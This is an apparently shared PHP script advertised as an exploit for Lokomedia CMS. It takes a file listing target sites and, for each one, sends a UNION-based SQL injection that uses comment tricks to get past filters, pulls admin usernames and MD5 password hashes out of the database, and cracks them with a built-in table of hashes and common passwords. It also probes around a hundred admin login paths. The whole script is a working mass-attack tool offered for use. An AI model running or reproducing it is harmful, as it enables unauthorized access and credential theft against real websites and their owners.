Script Exploit CMS Lokomedia


SUBMITTED BY: N0NN4ME

DATE: Oct. 28, 2016, 5:35 p.m.

FORMAT: Text only

SIZE: 11.0 kB

HITS: 1077

  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4. // Lokomedia (SQL Injection) + Auto Scan Admin Login
  5. // enjoyyyy
  6. // Coded by Mr. Error 404 (l0c4lh34rtz) - IndoXploit - Sanjungan Jiwa
  7. // greetz: res7ock crew - j*ncok Sec
  8. // usage: php namafile.php target.txt
  9. //HARAP TIDAK MENGGANTI COPYRIGHT JIKA KALIAN INGIN DIHARGAI ^^
  10. function cover() {
  11. print "[ =========================================================================== ]\n";
  12. print " --> Lokomedia (SQL Injection) + Auto Scan Admin Login <--\n";
  13. print " ## Coded by Mr. Error 404 (l0c4lh34rtz) - IndoXploit - Sanjungan Jiwa ##\n";
  14. print " # greetz: res7ock crew - j*ncok Sec #\n";
  15. print "+++++++ usage: php namafile.php target.txt +++++++\n";
  16. print "[ =========================================================================== ]\n\n";
  17. }
  18. function ngcurl($url) {
  19. $curl = curl_init($url);
  20. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  21. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  22. $content = curl_exec($curl);
  23. curl_close($curl);
  24. return $content;
  25. }
  26. function simpen($isi) {
  27. $f = fopen("md5.txt", "a+");
  28. fwrite($f, "$isi\n");
  29. fclose($f);
  30. }
  31. $admin = array(
  32. 'adm/',
  33. '_adm_/',
  34. '_admin_/',
  35. '_administrator_/',
  36. 'operator/',
  37. 'sika/',
  38. 'develop/',
  39. 'ketua/',
  40. 'redaktur/',
  41. 'author',
  42. 'admin/',
  43. 'administrator/',
  44. 'adminweb/',
  45. 'user/',
  46. 'users/',
  47. 'dinkesadmin/',
  48. 'retel/',
  49. 'author/',
  50. 'panel/',
  51. 'paneladmin/',
  52. 'panellogin/',
  53. 'redaksi/',
  54. 'cp-admin/',
  55. 'master/',
  56. 'master/index.php',
  57. 'master/login.php',
  58. 'operator/index.php',
  59. 'sika/index.php',
  60. 'develop/index.php',
  61. 'ketua/index.php',
  62. 'redaktur/index.php',
  63. 'admin/index.php',
  64. 'administrator/index.php',
  65. 'adminweb/index.php',
  66. 'user/index.php',
  67. 'users/index.php',
  68. 'dinkesadmin/index.php',
  69. 'retel/index.php',
  70. 'author/index.php',
  71. 'panel/index.php',
  72. 'paneladmin/index.php',
  73. 'panellogin/index.php',
  74. 'redaksi/index.php',
  75. 'cp-admin/index.php',
  76. 'operator/login.php',
  77. 'sika/login.php',
  78. 'develop/login.php',
  79. 'ketua/login.php',
  80. 'redaktur/login.php',
  81. 'admin/login.php',
  82. 'administrator/login.php',
  83. 'adminweb/login.php',
  84. 'user/login.php',
  85. 'users/login.php',
  86. 'dinkesadmin/login.php',
  87. 'retel/login.php',
  88. 'author/login.php',
  89. 'panel/login.php',
  90. 'paneladmin/login.php',
  91. 'panellogin/login.php',
  92. 'redaksi/login.php',
  93. 'cp-admin/login.php',
  94. 'terasadmin/',
  95. 'terasadmin/index.php',
  96. 'terasadmin/login.php',
  97. 'rahasia/',
  98. 'rahasia/index.php',
  99. 'rahasia/admin.php',
  100. 'rahasia/login.php',
  101. 'dinkesadmin/',
  102. 'dinkesadmin/login.php',
  103. 'adminpmb/',
  104. 'adminpmb/index.php',
  105. 'adminpmb/login.php',
  106. 'system/',
  107. 'system/index.php',
  108. 'system/login.php',
  109. 'webadmin/',
  110. 'webadmin/index.php',
  111. 'webadmin/login.php',
  112. 'wpanel/',
  113. 'wpanel/index.php',
  114. 'wpanel/login.php',
  115. 'adminpanel/index.php',
  116. 'adminpanel/',
  117. 'adminpanel/login.php',
  118. 'adminkec/',
  119. 'adminkec/index.php',
  120. 'adminkec/login.php',
  121. 'admindesa/',
  122. 'admindesa/index.php',
  123. 'admindesa/login.php',
  124. 'adminkota/',
  125. 'adminkota/index.php',
  126. 'adminkota/login.php',
  127. 'admin123/',
  128. 'admin123/index.php',
  129. 'admin123/login.php',
  130. 'logout/',
  131. 'logout/index.php',
  132. 'logout/login.php',
  133. 'logout/admin.php',
  134. 'adminweb_setting',
  135. );
  136. $real_pass = array(
  137. "a66abb5684c45962d887564f08346e8d" => "admin123456",
  138. "99026ab4ab3de96f3d7ae33c8c85057b" => "master!@#$qwe",
  139. "c630643500720b255abb22e2ab2c31f6" => "sumedang123",
  140. "1c63129ae9db9c60c3e8aa94d3e00495" => "1qaz2wsx",
  141. "f243df64be7184fb0fc07bd6cf53185b" => "b1smillah",
  142. "93261ae77f0df5522dd9767203f3aa17" => "house69",
  143. "f243df64be7184fb0fc07bd6cf53185b" => "b1smillah",
  144. "37c77ada62ec68d1b740717fc886bef6" => "Suk4bum1",
  145. "d39b59b946b414c4e5926f9c7b23840a" => "kasitaugakya",
  146. "fbff29af096fa646757ce8439b644714" => "vro190588",
  147. "1feadc10e93f2b64c65868132f1e72d3" => "agoes",
  148. "0192023a7bbd73250516f069df18b500" => "admin123",
  149. "7aa1dfee8619ac8f282e296d83eb55ff" => "meong",
  150. "24fa5ee2c1285e115dd6b5fe1c25a333" => "773062",
  151. "d557fd4686821b5d8b927cdfe6e67d21" => "#admin#",
  152. "5fec4ba8376f207d1ff2f0cac0882b01" => "admin!@#",
  153. "a01726b559eeeb5fc287bf0098a22f6c" => "@dm1n",
  154. "73acd9a5972130b75066c82595a1fae3" => "ADMIN",
  155. "511f2efed0e465e700a951f2f1ecec19" => "bs1unt46",
  156. "7b7bc2512ee1fedcd76bdc68926d4f7b" => "Administrator",
  157. "99fedb09f0f5da90e577784e5f9fdc23" => "ADMINISTRATOR",
  158. "e58bfd635502ea963e1d52487ac2edfa" => "!@#123!@#123",
  159. "5449ccea16d1cc73990727cd835e45b5" => "ngadimin",
  160. "c21f969b5f03d33d43e04f8f136e7682" => "default",
  161. "1a1dc91c907325c69271ddf0c944bc72" => "pass",
  162. "fffdf0489f264598e9d35cba0381e9ac" => "sukmapts",
  163. "5f4dcc3b5aa765d61d8327deb882cf99" => "password",
  164. "5ebe2294ecd0e0f08eab7690d2a6ee69" => "secret",
  165. "c893bad68927b457dbed39460e6afd62" => "prueba",
  166. "b2ca9cfa6067282a031d28a54886822d" => "admin4343",
  167. "3a3795bb61d5377545b4f345ff223e3d" => "bingo",
  168. "e172dd95f4feb21412a692e73929961e" => "bismillah",
  169. "8221303fbf816fd9da96be7dd4c92f99" => "salawarhandap123",
  170. "0570e3795fbe97ddd3ce53be141d1aed" => "indoxploit",
  171. "098f6bcd4621d373cade4e832627b4f6" => "test",
  172. "976adc43eaf39b180d9f2c624a1712cd" => "adminppcp",
  173. "5985609a2dc01098797c94a43e0a1115" => "masarief",
  174. "21232f297a57a5a743894a0e4a801fc3" => "admin",
  175. "1870a829d9bc69abf500eca6f00241fe" => "wordpress",
  176. "126ac9f6149081eb0e97c2e939eaad52" => "blog",
  177. "fe01ce2a7fbac8fafaed7c982a04e229" => "demo",
  178. "04e484000489dd3b3fb25f9aa65305c6" => "redaksi2016",
  179. "91f5167c34c400758115c2a6826ec2e3" => "administrador",
  180. "200ceb26807d6bf99fd6f4f0d1ca54d4" => "administrator",
  181. "c93ccd78b2076528346216b3b2f701e6" => "admin1234",
  182. "912ec803b2ce49e4a541068d495ab570" => "asdf",
  183. "1adbb3178591fd5bb0c248518f39bf6d" => "asdf1234",
  184. "e99a18c428cb38d5f260853678922e03" => "abc123",
  185. "a152e841783914146e4bcd4f39100686" => "asdfgh",
  186. "a384b6463fc216a5f8ecb6670f86456a" => "qwert",
  187. "d8578edf8458ce06fbc5bb76a58c5ca4" => "qwerty",
  188. "b59c67bf196a4758191e42f76670ceba" => "1111",
  189. "96e79218965eb72c92a549dd5a330112" => "111111",
  190. "4297f44b13955235245b2497399d7a93" => "123123",
  191. "c33367701511b4f6020ec61ded352059" => "654321",
  192. "81dc9bdb52d04dc20036dbd8313ed055" => "1234",
  193. "e10adc3949ba59abbe56e057f20f883e" => "123456",
  194. "fcea920f7412b5da7be0cf42b8c93759" => "1234567",
  195. "25d55ad283aa400af464c76d713c07ad" => "12345678",
  196. "25f9e794323b453885f5181f1b624d0b" => "123456789",
  197. "e807f1fcf82d132f9bb018ca6738a19f" => "1234567890",
  198. "befe9f8a14346e3e52c762f333395796" => "qawsed",
  199. "76419c58730d9f35de7ac538c2fd6737" => "qazwsx",
  200. "5f4dcc3b5aa765d61d8327deb882cf99" => "password",
  201. "bed128365216c019988915ed3add75fb" => "passw0rd",
  202. "21232f297a57a5a743894a0e4a801fc3" => "admin",
  203. "e10adc3949ba59abbe56e057f20f883e" => "123456",
  204. "5f4dcc3b5aa765d61d8327deb882cf99" => "password",
  205. "25d55ad283aa400af464c76d713c07ad" => "12345678",
  206. "f379eaf3c831b04de153469d1bec345e" => "666666",
  207. "96e79218965eb72c92a549dd5a330112" => "111111",
  208. "fcea920f7412b5da7be0cf42b8c93759" => "1234567",
  209. "d8578edf8458ce06fbc5bb76a58c5ca4" => "qwerty",
  210. "6f3cac6213ffceee27cc85414f458caa" => "siteadmin",
  211. "200ceb26807d6bf99fd6f4f0d1ca54d4" => "administrator",
  212. "63a9f0ea7bb98050796b649e85481845" => "root",
  213. "4297f44b13955235245b2497399d7a93" => "123123",
  214. "c8837b23ff8aaa8a2dde915473ce0991" => "123321",
  215. "e807f1fcf82d132f9bb018ca6738a19f" => "1234567890",
  216. "4ca7c5c27c2314eecc71f67501abb724" => "letmein123",
  217. "cc03e747a6afbbcbf8be7668acfebee5" => "test123",
  218. "62cc2d8b4bf2d8728120d052163a77df" => "demo123",
  219. "32250170a0dca92d53ec9624f336ca24" => "pass123",
  220. "46f94c8de14fb36680850768ff1b7f2a" => "123qwe",
  221. "200820e3227815ed1756a6b531e7e0d2" => "qwe123",
  222. "c33367701511b4f6020ec61ded352059" => "654321",
  223. "f74a10e1d6b2f32a47b8bcb53dac5345" => "loveyou",
  224. "172eee54aa664e9dd0536b063796e54e" => "adminadmin123",
  225. "e924e336dcc4126334c852eb8fadd334" => "waskita1234",
  226. "02631cc1d0cc5bda188566e90d0ae16c" => "rsamku2013",
  227. "b69cbef044eac6fc514a2988e62c5b30" => "unlock08804",
  228. "12e110a1b89da9b09a191f1f9b0a1398" => "nalaratih",
  229. "f70d32432ff0a8984b5aadeb159f9db6" => "Much240316",
  230. "a2fffa77aa0dde8cd4c416b5114eba21" => "gondola",
  231. "2b45af95ce316ea4cffd2ce4093a2b83" => "w4nd3szaki",
  232. "c5612a125d8613ddae79a6b36c8bee37" => "Reddevil#21",
  233. "6e7fbe8e6147e2c430ce7e8ab883e533" => "R4nd0m?!",
  234. "5136850b6c8f3ebc66122188347efda0" => "adminku",
  235. "5214905fbe8d7f0bb0d0a328f08af3f0" => "adminpust4k4",
  236. "acfc976c2d22e4a595a9ee6fc0d05f27" => "dikmen2016",
  237. "dcdee606657b5f7d8b218badfeb22a90" => "masputradmin",
  238. "ecb4208ee41389259a632d3a733c2786" => "741908",
  239. "827ccb0eea8a706c4c34a16891f84e7b" => "12345",
  240. "855be097acdf2fea4e342615a154ca3c" => "tolol",
  241. "eeee80342778e7b497d507f89094b10d" => "master10",
  242. "d29c0398602e6cf005f0dcb7a0443c7d" => "adminjalan",
  243. "9062756924cf10763cc89cf2793a77ab" => "pass4@nd1",
  244. "8b6bc5d8046c8466359d3ac43ce362ab" => "ganteng",
  245. "528d06a172eb2d8fab4e93f33f3986a8" => "jasindolive",
  246. "058fe7f85df1e992ef7bf948f1db7842" => "404J",
  247. "abe1f4492f922a9111317ed7f7f8e723" => "bantarjati5",
  248. );
  249. $sites = explode("\n", file_get_contents($argv[1]));
  250. if(isset($argv[1])) {
  251. cover();
  252. foreach($sites as $url) {
  253. if(!preg_match("/^http:\/\//", $url) AND !preg_match("/^https:\/\//", $url)) {
  254. $url = "http://$url";
  255. } else {
  256. $url = $url;
  257. }
  258. $statis = "";
  259. $sisa = "";
  260. $login = "";
  261. $param_list = array("statis","kategori","berita");
  262. $curl = ngcurl($url);
  263. $curl = str_replace("'", '"', $curl);
  264. foreach($param_list as $param) {
  265. preg_match_all("/$param-(.*?)\">/", $curl, $id);
  266. foreach($id[1] as $stat) {
  267. $pecah = explode("-", $stat);
  268. $statis .= $pecah[0];
  269. $sisa .= $pecah[1];
  270. break;
  271. }
  272. foreach($admin as $adminweb) {
  273. $curl_admin = ngcurl("$url/$adminweb");
  274. if(preg_match("/administrator|username|password/i", $curl_admin) AND !preg_match("/not found|forbidden|404|403|500/i", $curl_admin)) {
  275. $login .= "$url/$adminweb";
  276. break;
  277. }
  278. }
  279. $sql = ngcurl("$url/$param-$statis'/*!50000UniON*/+/*!50000SeLeCT*/+/*!50000cOnCAt*/(0x696e646f78706c6f6974,0x3c6c693e,username,0x20,password,0x3c6c693e)+from+users--+---+-$sisa");
  280. preg_match("/<meta name=\"description\" content=\"(.*?)\">/", $sql, $up);
  281. preg_match("/<li>(.*)<li>/", $up[1], $akun);
  282. $data = explode(" ", $akun[1]);
  283. print "[+] URL: $url\n";
  284. //print "[+] param: $param\n";
  285. if(htmlspecialchars($curl) !== htmlspecialchars($sql)) {
  286. if(preg_match("/indoxploit/", $sql)) {
  287. //print "[ Injection Successfully ]\n";
  288. if($data[0] == "" || $data[1] == "") {
  289. print "[+] Not Injected :(\n\n";
  290. break;
  291. } else {
  292. print "[+] username: ".$data[0]."\n";
  293. $passwd = $real_pass[$data[1]];
  294. if($passwd == "") {
  295. $passwd = $data[1];
  296. simpen($data[1]);
  297. }
  298. print "[+] password: $passwd\n";
  299. }
  300. if($login == "") {
  301. print "[+] Login Admin ga ketemu :(\n\n";
  302. } else {
  303. print "[+] Login: $login\n\n";
  304. }
  305. break;
  306. } else {
  307. print "[+] Not Injected :(\n\n";
  308. break;
  309. }
  310. } else {
  311. print "[+] Not Injected :(\n\n";
  312. break;
  313. }
  314. }
  315. }
  316. } else {
  317. print "usage: php ".$argv[0]." target.txt\n";
  318. }
  319. ?>

comments powered by Disqus